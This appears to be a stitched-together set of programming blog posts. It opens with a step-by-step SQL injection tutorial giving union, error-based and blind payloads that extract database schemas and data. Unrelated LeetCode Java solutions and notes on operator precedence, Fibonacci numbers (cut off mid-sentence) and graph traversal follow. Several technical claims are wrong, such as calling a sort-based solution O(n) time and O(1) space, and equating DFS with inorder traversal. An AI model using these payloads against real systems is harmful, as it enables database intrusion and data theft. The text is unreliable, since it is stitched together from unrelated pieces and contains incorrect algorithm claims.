Web Hacking: SQL injection

Definition

SQL injection is a technique where malicious SQL queries are inserted to attack a database system, allowing for data extraction, tampering, authentication bypass, and more.

Pre-Attack Checklist

SQL Injection Data Extraction Process

• Deduction

  • Does the system perform identification and authentication together or separately?

  • What type of attack method is likely to work?

  • How will the query likely end? If it's a search query, '%search term%' is highly likely to be used.

• Vulnerability Check

  • If a vulnerability is found, how far does it go?

  • If SQL injection is possible, is it a union-based, error-based, or blind attack?

• Select SQL Query

  • Union SQL injection

  • Error-based SQL injection

  • Blind SQL injection

• Identify Data Output Locations

• Choose SQL Injection to Use

• Obtain DB, Table, and Column Names

• Extract Data

Types of SQL Injection

Union-Based SQL Injection

• Used when results are displayed on the screen, such as on a bulletin board.

• ex) general forum, bulletin board

1. Deduce the end of the search query.

   3+4 
   # If only 7 is returned in the search, the SQL query will work. Additionally, you can determine whether the % sign was used depending on whether only 7 is returned or if 7 is included in the results.

2. Check if SQL injection is possible.

   %' and '1%'='1 # true
   %' and '1%'='2 # false

3. Determine how many columns are used in the search.

   Increase the column count from 1 to 4 and check.

   %' order by 1 and '1%'='1

4. Check if union works and identify the data output location.

   %' union select '1','2','3','4' and '1%'='1

5. Check the database name.

   MySQL

   %' union select '1',database(),'3','4' and '1%'='1

6. Check the table name.

   MySQL

   %' union select '1',table_name,'3','4' from information_schema.tables where table_schema = database() and '1%'='1

7. Check column names.

   MySQL

   %' union select '1',column_name,'3','4' from information_schema.columns where table_name='table_name' and '1%'='1

8. Extract data.

   %' union select '1',column_name,'3','4' from table_naem WHERE '1%' LIKE '1

Error-Based SQL Injection

• Used when error messages can be checked.

• Logical Error

1. Verify that the error message is a DB error.

   Typically uses updatexml or extractvalue.

   A syntax error (logical error) is displayed due to the concat command ':test'.

   1' and updatexml(null,concat(0x3a,(select 'test')),null) and '1'='1

   1' and extractvalue(1,concat(0x3a,(select 'test'))) and '1'='1

2. Set the base for the error message.

   1' and updatexml(null,concat(0x3a,(sql)),null) and '1'='1

3. Check the database name.

   MySQL

   select database()

   1' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1

4. Check the table name.

   MySQL

   select table_name from information_schema.tables where table_schema = 'db_name' limit 1,1

   1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema = 'db_name' limit 1,1)),null) and '1'='1

5. Check column names.

   limit [starting point],[how many]

   select column_name from information_schema.columns where table_name='table_name' limit 0,1

   1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='table_name' limit 0,1)),null) and '1'='1

6. Extract data.

   select column_name from table_name limit 0,1

   1' and updatexml(null,concat(0x3a,(select column_name from table_name limit 0,1)),null) and '1'='1

Blind SQL Injection

• Used in places where DB results are not displayed on the screen.

• Anywhere with a response that differs depending on a true or false condition can be used.

1. Check if SQL injection is possible 1.-expected success

   %' and (1=1) and '1%'='1

2. Check if SQL injection is possible 2.-expected fail

   %' and (1=2) and '1%'='1

3. Check if the SQL injection select statement works.

   %' and (select 'test'='test') and '1%'='1

4. Create an attack format.

   %' and (sql) and '1%'='1

5. Check if ascii works.

   ascii('t')>0

   %' and (ascii('t')>0) and '1%'='1

6. Check if substring works.

   ascii(substring('test',1,1))>0

   %' and (ascii(substring('test'),1,1)>0) and '1%'='1

   1. Create a second attack format.

   %' and (ascii(substring((sql),1,1))>0) and '1%'='1

   1. Retrieve the DB.

   select database()

   %' and (ascii(substring(select database()),1,1)>0) and '1%'='1

   1. Retrieve the table name.

   SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1 # retrieves only the first table name in the DB.

   SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1 # retrieves only the second table name in the DB.

   %' and (ascii(substring(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)>0) and '1%'='1

   1. Retrieve the column name.

   SELECT column_name FROM information_schema.columns WHERE table_name = 'table_name' LIMIT 0,1

   %' and (ascii(substring(SELECT column_name FROM information_schema.columns WHERE table_name = 'table_name' LIMIT 0,1),1,1)>0) and '1%'='1

   1. Extract data.

   select from limit 0,1

   %' and (ascii(substring(sql),1,1)>0) and '1%'='1

136. Single Number Problem Solved: Uncover the Most Efficient Java Algorithm

Problem

Problem_Link

Problem Solving Approach

• Find the single number in an array with a linear runtime complexity of O(n) and use only constant extra space with a complexity of O(1).
• One possible approach is to use a hash map to keep track of the frequency of each number, but this requires extra space proportional to the size of the array, which violates the space complexity constraint.
• Since O(n) and O(2n) have the same complexity of O(n), we can use a sorting algorithm to sort the array and then compare adjacent elements to find the single number.
• The approach can be summarized as follows:
  • Sort the array.
  • Iterate through the array and compare each pair of adjacent elements.
  • If the two elements are not equal, the first element is the single number, so return its value.
• This algorithm has a linear runtime complexity of O(n) and uses only constant extra space with a complexity of O(1).

Time O(n), Space O(1)

https://github.com/eunhanlee/leetcode_136_Single_Number

import java.util.*;

class Solution {
    /**
     * This method finds the single number in an integer array.
     *
     * @param nums an integer array
     * @return the single number
     * @throws NoSuchElementException if the single number is not found
     */
    public int singleNumber(int[] nums) {
        // Sort the given array
        Arrays.sort(nums);
        // Compare consecutive pairs of elements
        for (int i = 0; i < nums.length; i += 2) {
            // If the two elements are different, the first one is the single number, so return its value.
            if (i == nums.length - 1) return nums[i];
            else if (nums[i] != nums[i + 1]) {
                return nums[i];
            }
        }

        // If the single number is not found until the end of the array, throw a NoSuchElementException.
        // Note that leetcode does not allow throwing a NoSuchElementException.
        // However, since the problem guarantees the existence of a single number, you can replace this line with 'return 0;'.
        throw new NoSuchElementException();
    }
}

118. Pascal's Triangle Problem Solved: Uncover the Most Efficient Java Algorithm

 

Problem

Problem_Link

Problem Solving Approach

1. Possible cases

   if startpos or endpos, add end
   else currpos = lastList[prevpos+currpost]
   

2. Requirements: Previous row list, Previous row list length or current row length

3. Be careful: In Java, add() method for list is a shallow copy by default.

4. That is, if you put 1 for the first and last elements in each list and add the sum of two elements above it in the previous row to the current list, Pascal's triangle will be generated.

Time O(n), Space O(n)

https://github.com/eunhanlee/leetcode_118PascalsTriangle

import java.util.*;

class Solution {
    /**
     * This method generates Pascal's triangle up to a given number of rows.
     *
     * @param numRows the number of rows to generate
     * @return a list of lists representing the rows of Pascal's triangle
     */
    public List<List<Integer>> generate(int numRows) {
        List<List<Integer>> result = new ArrayList<>(); // Create a new list to hold the triangle
        List<Integer> currList = null; // Initialize the current list
        List<Integer> prevList = null; // Initialize the previous list

        for (int i = 0; i < numRows; i++) { // Loop through each row
            currList = new ArrayList<>(); // Create a new list for the current row
            for (int j = 0; j < (i + 1); j++) { // Loop through each element in the current row
                if (j == 0 || j == i) currList.add(1); // The first and last elements are always 1
                else {
                    // Calculate the element as the sum of the two elements above it in the previous row
                    currList.add(prevList.get(j - 1) + prevList.get(j));
                }
            }
            prevList = currList; // Set the current row as the previous row for the next iteration
            result.add(currList); // Add the current row to the result list
        }

        return result; // Return the completed Pascal's triangle
    }

}

Explanation

• If you want to use a pre-declared list, you need to perform deep copy as follows:

//            prevList.clear();
//            prevList.addAll(currList);
//            result.add(List.copyOf(currList));
//            currList.clear();

48. Rotate Image Problem Solved: Uncover the Most Efficient Java Algorithm

 

Problem

Problem_Link

Problem Solving Approach

1. "Rotating a position" means that each position has a designated position to be moved to.

2. For example, when n is 3:

   (0,0)->(0,2)
   (0,2)->(2,2)
   (2,2)->(2,0)
   (2,0)->(0,0)
   
   (0,1)->(1,2)
   (1,2)->(2,1)
   (2,1)->(2,1)
   (1,0)->(0,1)
   

3. The above rule can be calculated by how far it is from n.

   First loop
   n=3
   Distance from the y-axis = i = 0
   Distance from the x-axis = j = 0
   
   Starting point = (i,(i+distance from the x axis)) = (0,0)
   ((n-1-distance from the x axis-distance from the y axis),i)=((3-1-0-0),0)=(2,0)
   ((n-1-distance from the y axis),(n-1-distance from the x axis-distance from the y axis))=((3-1-0),(3-0-1-0))=(2,2)
   (((i+distance from the x axis)),(n-1-distance from the y axis))=((0+0),(3-1-0))=(0,2)
   
   Second loop
   n=3
   Distance from the y-axis = i = 0
   Distance from the x-axis = j = 1
   
   Starting point = (i,(i+distance from the x axis)) = (0,1)
   ((n-1-distance from the x axis-distance from the y axis),i)=((3-1-1-0),0)=(1,0)
   ((n-1-distance from the y axis),(n-1-distance from the x axis-distance from the y axis))=((3-1-0),(3-1-1-0))=(2,1)
   (((i+distance from the x axis)),(n-1-distance from the y axis))=((0+1),(3-1-0))=(1,2)
   

4. first loop only half of all and second loop inside the first loop should skip as first lopped

5. For example, when n is 3:

   (0,0) (0,1) (0,2)
   (1,0) (1,1) (1,2)
   (2,0) (2,1) (2,2)
   

   Only (0,0) and (0,1) should be included in the loop.

6. For example, when n is 4:

   (0,0) (0,1) (0,2) (0,3)
   (1,0) (1,1) (1,2) (1,3)
   (2,0) (2,1) (2,2) (2,3)
   (3,0) (3,1) (3,2) (3,3)
   

   Only (0,0), (0,1), (0,2), (1,1), and (1,2) should be included in the loop.

7. In order to determine which elements to swap in each rotation, we can calculate the distance that each element has from the outermost layer of the matrix.

8. For example, if n is 3, the first rotation involves swapping elements at position (0,0), (0,2), (2,2), and (2,0). The second rotation involves swapping elements at position (0,1), (1,2), (2,1), and (1,0). We can see that the distance that each element has from the outermost layer of the matrix corresponds to the number of rotations it needs to undergo.

9. To implement this, we can use two nested loops. The outer loop iterates from 0 to n/2 - 1, since we only need to perform rotations for the first n/2 layers of the matrix. The inner loop iterates from the current layer (i) to n - i - 2, since we only need to perform rotations within the current layer.

10. Using these loops, we can determine the four elements that need to be rotated in each step, and then swap them accordingly.

11. Therefore, the time complexity of this solution is O(n^2), since we need to visit every element in the matrix. The space complexity is also O(1), since we are performing the rotations in-place.

Time O(n^2), Space O(1)

https://github.com/eunhanlee/leetcode_48_Rotate_Image

class Solution {
    /**
     * Rotates a 2D array clockwise by 90 degrees.
     * @param matrix a 2D array
     */
    public void rotate(int[][] matrix) {
        // Get the last position in the array (subtract 1 since the array is zero-indexed)
        int lastPos = matrix.length - 1;
        // Only loop through half of the array's length for i since each iteration swaps two values
        int i_loop = matrix.length / 2;
        for (int i = 0; i < i_loop; i++) {
            // j_loop determines how many values to swap based on the current i index
            int j_loop = lastPos - 2 * i;
            for (int j = 0; j < j_loop; j++) {
                setNewPos(matrix, i, j, lastPos);
            }
        }
    }

    /**
     * Swaps the value at the current position with the value 90 degrees clockwise from it.
     * @param matrix a 2D array
     * @param i the row index of the current position
     * @param j the column index of the current position
     * @param lastPos the last index of the array
     */
    public static void setNewPos(int[][] matrix, int i, int j, int lastPos) {
        // Swaps the value at the current position with the value 90 degrees clockwise from it.
        // (i,j) -> (lastPos-i-j,i) -> (lastPos-i,lastPos-i-j) -> (j,lastPos-i) -> (i,j)

        int temp = matrix[i][i + j];
        matrix[i][i + j] = matrix[lastPos - i - j][i];
        matrix[lastPos - i - j][i] = matrix[(lastPos - i)][lastPos - i - j];
        matrix[(lastPos - i)][lastPos - i - j] = matrix[i + j][(lastPos - i)];
        matrix[i + j][(lastPos - i)] = temp;
    }
}

Problem Solving Approach2

1. Rotating a matrix by 90 degrees can be difficult, but flipping it is easy.
2. If we flip a matrix along its diagonal, and then flip it horizontally, this is equivalent to rotating it by 90 degrees.

Time O(n^2), Space O(1)

https://github.com/eunhanlee/leetcode_48_Rotate_Image

public class Solution {
    /**
     * Rotates a 2D array clockwise by 90 degrees.
     *
     * @param matrix a 2D array
     */
    public void rotate(int[][] matrix) {
        int n = matrix.length;

        // Flip the array diagonally.
        for (int i = 0; i < n; i++) {
            // j should start from i, since elements below the diagonal have already been swapped.
            for (int j = i; j < n; j++) {
                int temp = 0;
                temp = matrix[i][j];
                matrix[i][j] = matrix[j][i];
                matrix[j][i] = temp;
            }
        }

        // Flip each row horizontally.
        for (int i = 0; i < n; i++) {
            // j should be less than n/2, since flipping beyond the middle would cause duplicates.
            for (int j = 0; j < n / 2; j++) {
                int temp = 0;
                temp = matrix[i][j];
                matrix[i][j] = matrix[i][n - 1 - j];
                matrix[i][n - 1 - j] = temp;
            }
        }
    }
}

Understanding Java Operator Precedence

 

Java Operator Precedence Table

Definition of Operator Precedence

Operator precedence refers to the grouping of operators in a complex expression based on their priority. This does not mean that the operators are evaluated in the order of precedence.

Example

Consider the following expression, in which it is not clear whether the computer should evaluate a > 0 or 0 && b first:

int a = 1, b = 1;
a > 0 && b - ++a == 1

Based on the Java Operator Precedence Table, the expression is first grouped as follows:

a > 0 && b - ++a == 1

a > 0 && b - (++a) == 1

a > 0 && (b - (++a)) == 1

a > 0 && (b - (++a)) == 1

(a > 0) && (b - (++a)) == 1

(a > 0) && ((b - (++a)) == 1)

The expression is now evaluated from left to right based on the Logical AND operator:

(1 > 0) && ((b - (++a)) == 1)

true && ((b - (++a)) == 1)

true && ((b - (++1)) == 1)

The pre-increment operator is now applied, which increments the value of the operand by 1 before any other operation is performed:

true && ((b - 2) == 1)

true && ((1 - 2) == 1)

true && (-1 == 1)

true && false

false

Increment and Decrement Operators

Operator	Description
++A	Pre-increment: increases the value of operand A by 1, and then returns the new value
A++	Post-increment: returns the value of operand A, and then increases its value by 1
--A	Pre-decrement: decreases the value of operand A by 1, and then returns the new value
A--	Post-decrement: returns the value of operand A, and then decreases its value by 1

Logical OR Operator

The logical OR operator (||) evaluates the operands from left to right. If the left-hand operand is true, the right-hand operand is not evaluated, and the result of the operation is true. If the left-hand operand is false, the right-hand operand is evaluated, and the result of the operation is the value of the right-hand operand.

For example:

(1==1)||(1==2)

boolean a = true;
boolean b = false;
boolean c = a || b; // c is true, b is not evaluated

Conclusion

Operator precedence is a way to group operators in an expression based on their precedence level. This helps to determine the order of evaluation when there are multiple operators in an expression. However, it does not dictate the actual order of operations. The order of operations is determined by the individual operator's characteristics and the operands involved.

22. Generate Parentheses Problem Solved: Uncover the Most Efficient Java Algorithm

Problem

Problem_Link

Problem Solving Approach

• To generate all combinations, typically use recursive function DFS.
• Must open ‘(’ and then close ‘)’ to get valid combinations only (backtracking algorithm).
  • if (open < length)
  • if (close < open)
• When the length of the string becomes twice of n, it's the end of the recursion (base case).

Time O((2^n) / 2**)=O(4^n/sqrt(n)), Space O((2^n) / 2)**

https://github.com/eunhanlee/leetcode_22.GenerateParentheses/blob/master/README.md

import java.util.ArrayList;
import java.util.List;

public class Solution {
    /**
     * Generates all combinations of well-formed parentheses.
     *
     * @param n the number of pairs of parentheses
     * @return a list of all combinations of well-formed parentheses
     */
    public List<String> generateParenthesis(int n) {
        List<String> result = new ArrayList<>();
        generateParenthesisRecur(result, "", 0, 0, n);
        return result;
    }

    /**
     * Generates all combinations of well-formed parentheses using recursion.
     *
     * @param result the list of generated combinations
     * @param currentString the current string being built
     * @param open the number of open parentheses in the current string
     * @param close the number of close parentheses in the current string
     * @param len the desired length of the current string
     */
    private void generateParenthesisRecur(List<String> result, String currentString, int open, int close, int len) {
        if (currentString.length() == len * 2) {
            result.add(currentString);
            return;
        }

        if (open < len) {
            generateParenthesisRecur(result, currentString + "(", open + 1, close, len);
        }
        if (close < open) {
            generateParenthesisRecur(result, currentString + ")", open, close + 1, len);
        }
    }
}

Explanation

• The total number of combinations is 2^n, but this is reduced to half by the backtracking algorithm. Therefore, the time complexity is O(2^(2n)/2) = O(4^n/sqrt(n)).

Determining Whether a Number is a Fibonacci Number in Java: A Quick Guide

 

Definition

A sequence of numbers that follows a specific pattern. The first two numbers are always 0 and 1, and the third number is the sum of the first and second numbers.

Example of Fibonacci sequence

1,1,2,3,5,8,13,21,34,55...

Examples

Index	Fibonacci Number	Calculation
0	0	0
1	1	1
2	1	0+1
3	2	1+1
4	3	1+2
5	5	2+3
6	8	3+5
7	13	5+8
8	21	8+13
9	34	13+21
10	55	21+34
11	89	34+55
12	144	55+89
13	233	89+144
14	377	144+233
15	610	233+377
16	987	377+610

How to find the Fibonacci number at a specific index

Mathematical (Binet’s simplified formula)

    public static int fib(int num) {
        double goldenRatio = (1 + Math.sqrt(5)) / 2;
        return (int) Math.round(Math.pow(goldenRatio, num) / Math.sqrt(5));
    }

Recursive Function

    public static int fibRecursive(int num) {
        if (num == 0) return 0;
        else if (num == 1) return 1;
        else return fibRecursive(num - 2) + fibRecursive(num - 1);
    }

Loop

    public static int fib(int num) {
        if (num == 0) return 0;
        else if (num == 1) return 1;

        else {
            int result = 0;
            int iterA = 0;
            int iterB = 1;

            for (int i = 2; i <= num; i++) {

                result = iterA + iterB;
                iterA = iterB;
                iterB = result;

            }

            return result;
        }

    }

How to determine if a number is a Fibonacci number

If a number is a Fibonacci number, then either one or both of the expressions below will result in a perfect square:

Perfect Square

When x is a perfect square,

where root{x} must be an integer.

For example, 9 is a perfect squa

Mastering Graphs and Trees: Essential Concepts and Traversal Techniques

preorder = root left right
DFS use stack = inorder= left root right
postorder = left right root
BFS use queue = print each level

Graph

• Used to represent various real-world scenarios such as social networks, transportation systems, and computer networks.
• A collection of nodes or vertices connected by edges.
• Edges represent relationships or connections between nodes.
• Edges can be directed or undirected.
• Cycles (paths with the same starting and ending points) may be present.

Graph Terminology

• Node: A single vertex in a graph or tree. Nodes can contain data or objects and are connected to other nodes through edges.
• Edge: A line representing a connection between nodes in a graph or tree. Edges can be directed or undirected.
• Depth: The length of the path from a node to the root node. The depth of a specific node is the number of edges connecting it to the root node. In a tree, the root node has a depth of 0, and the depth increases by 1 for each subsequent level.
• Breadth: Although not typically used in the context of trees, breadth is a term used in breadth-first search (BFS). Nodes at the same level (depth) in the tree are visited "all at once" in BFS, which is why the term "breadth" is used. Therefore, in BFS, "breadth" refers to the level (depth) of a node in the tree, not the order of traversal.

Example

Traversal Methods

Graph traversal is generally tailored to recursive functions.

DFS Depth-First Search

• Push the starting node 1 into the stack.
• The stack currently contains [1].
• Pop node 1 from the stack and print it.
• The stack currently contains [].
• Following edges a, b, and c connected to node 1, push nodes 2, 3, and 5 into the stack.
• The stack currently contains [5, 3, 2].
• Pop node 2 from the stack and print it.
• The stack currently contains [5, 3].
• Following edge d connected to node 2, push node 3 into the stack.
• The stack currently contains [5, 3, 3].
• Pop node 3 from the stack and print it.
• The stack currently contains [5, 3].
• Following edges e and f connected to node 3, push nodes 4 and 5 into the stack.
• The stack currently contains [5, 4, 5].
• Pop node 5 from the stack and print it.
• The stack currently contains [4].
• Following edge g connected to node 5, push node 4 into the stack.
• The stack currently contains [4, 4].
• Pop node 4 from the stack and print it.
• The stack currently contains [].
• As there are no more nodes to pop from the stack, the DFS traversal ends.

BFS (Breadth-First Search)

• Insert the starting node 1 into the queue.
• The queue now contains [1].
• Remove node 1 from the queue and print it.
• The queue now contains [].
• Traverse the edges a, b, and c connected to node 1 and insert nodes 2, 3, and 5 into the queue, respectively.
• The queue now contains [2, 3, 5].
• Remove node 2 from the queue and print it.
• The queue now contains [3, 5].
• Traverse the edge d connected to node 2 and insert node 3 into the queue.
• The queue now contains [3, 5, 3].
• Remove node 3 from the queue and print it.
• The queue now contains [5, 3].
• Traverse the edges e and f connected to node 3 and insert nodes 4 and 5 into the queue, respectively.
• The queue now contains [5, 3, 4, 5].
• Remove node 5 from the queue and print it.
• The queue now contains [3, 4, 5].
• Traverse the edge g connected to node 5 and insert node 4 into the queue.
• The queue now contains [3, 4, 3].
• Remove node 3 from the queue and print it.
• The queue now contains [4, 3].
• Node 5 connected to node 3 has already been inserted into the queue, so it is ignored.
• Remove node 4 from the queue and print it.
• The queue now contains [3].
• Remove node 3 from the queue and print it.
• The queue now contains [].
• Since there are no more nodes to be removed from the queue, the BFS search is complete.

Tree

• Used to represent hierarchical structures such as file systems, organization charts, and family trees.
• A type of graph.
• There is only one path between any two nodes.
• There are no cycles (paths that start and end at the same node).

Tree Terminology

• Branch: An edge that connects a node in a tree to a root or another node. There can be multiple branches between a root and another node.
• Root: The topmost node in a tree. Every other node is either a branch starting from the root or a leaf node.
• Leaf: The final node in a tree that has no children. It is the last node that does not extend to any other node.
• Parent: A node in a tree that has one or more child nodes. It is the node located above the current node when following the edges of the tree towards the root.
• Child: A node in a tree that has a parent node. It is the node located below the current node when following the edges of the tree towards the leaves.

Example

Tree Traversal Methods

Preorder (Preorder Traversal)

Preorder traversal is a method where the root node is visited first. That is, after printing the root node, traverse the left subtree, and then the right subtree. Preorder traversal visits nodes in the following order:

1. Root node
2. Left subtree
3. Right subtree

• Example: Preorder: 1 2 4 5 8 9 3 6 7

Inorder (Inorder Traversal)

Inorder traversal is a method where the root node is visited in the middle. That is, after traversing the left subtree, print the root node, and then traverse the right subtree. Inorder traversal visits nodes in the following order:

1. Left subtree
2. Root node
3. Right subtree

• Example: Inorder: 4 2 8 5 9 1 6 3 7

Postorder (Postorder Traversal)

Postorder traversal is a method where the root node is visited last. That is, after traversing the left subtree and the right subtree, print the root node. Postorder traversal visits nodes in the following order:

1. Left subtree
2. Right subtree
3. Root node

• Example: Postorder: 4 8 9 5 2 6 7 3 1

Understanding these traversal methods is essential for solving various tree-related problems in computer science. Each traversal method has its unique use-cases and can be applied according to the requirements of a specific problem.

94. Binary Tree Inorder Traversal Problem Solved: Uncover the Most Efficient Java Algorithm

Problem

Problem_Link

Problem Solving Approach

• To traverse a binary tree in in-order, we use depth-first search (DFS).
• The problem also requires us to solve it using a simple loop, so it tests our ability to convert between while loops and recursive calls.

Time O(n), Space O(n)

https://github.com/eunhanlee/leetcode_94.BinaryTreeInorderTraversal_Solution/blob/master/README.md

import java.util.*;

class Solution {

    /**
     * Traverses a binary tree in-order recursively and returns a list of node values.
     *
     * @param root the root node of the binary tree to traverse
     * @return a list of node values in in-order traversal order
     */
    public List<Integer> inorderTraversal(TreeNode root) {
        List<Integer> list = new ArrayList<>();
        // Call the recursive function to traverse the tree in-order
        inorderRecur(root, list);
        // Return the resulting list
        return list;
    }

    /**
     * Helper method that recursively traverses a binary tree in-order and adds node values to a list.
     *
     * @param root the root node of the binary tree to traverse
     * @param list the list to add node values to
     */
    public static void inorderRecur(TreeNode root, List<Integer> list) {
        // Base case: if the node is null, return immediately
        if (root == null) return;

        // Traverse the left subtree recursively
        inorderRecur(root.left, list);

        // Add the current node value to the list
        list.add(root.val);

        // Traverse the right subtree recursively
        inorderRecur(root.right, list);
    }

    /**
     * Traverses a binary tree in-order iteratively and returns a list of node values.
     *
     * @param root the root node of the binary tree to traverse
     * @return a list of node values in in-order traversal order
     */
    public List<Integer> inorderTraversalIterative(TreeNode root) {
        List<Integer> list = new ArrayList<>();
        Stack<TreeNode> stack = new Stack<>();
        TreeNode node = root;

        while (node != null || !stack.isEmpty()) {
            // Add nodes in the left subtree to the stack
            while (node != null) {
                stack.push(node);
                node = node.left;
            }

            // Pop a node from the stack, set it as the current node, and add its value to the list
            node = stack.pop();
            list.add(node.val);

            // Move to the right subtree
            node = node.right;
        }

        return list;
    }
}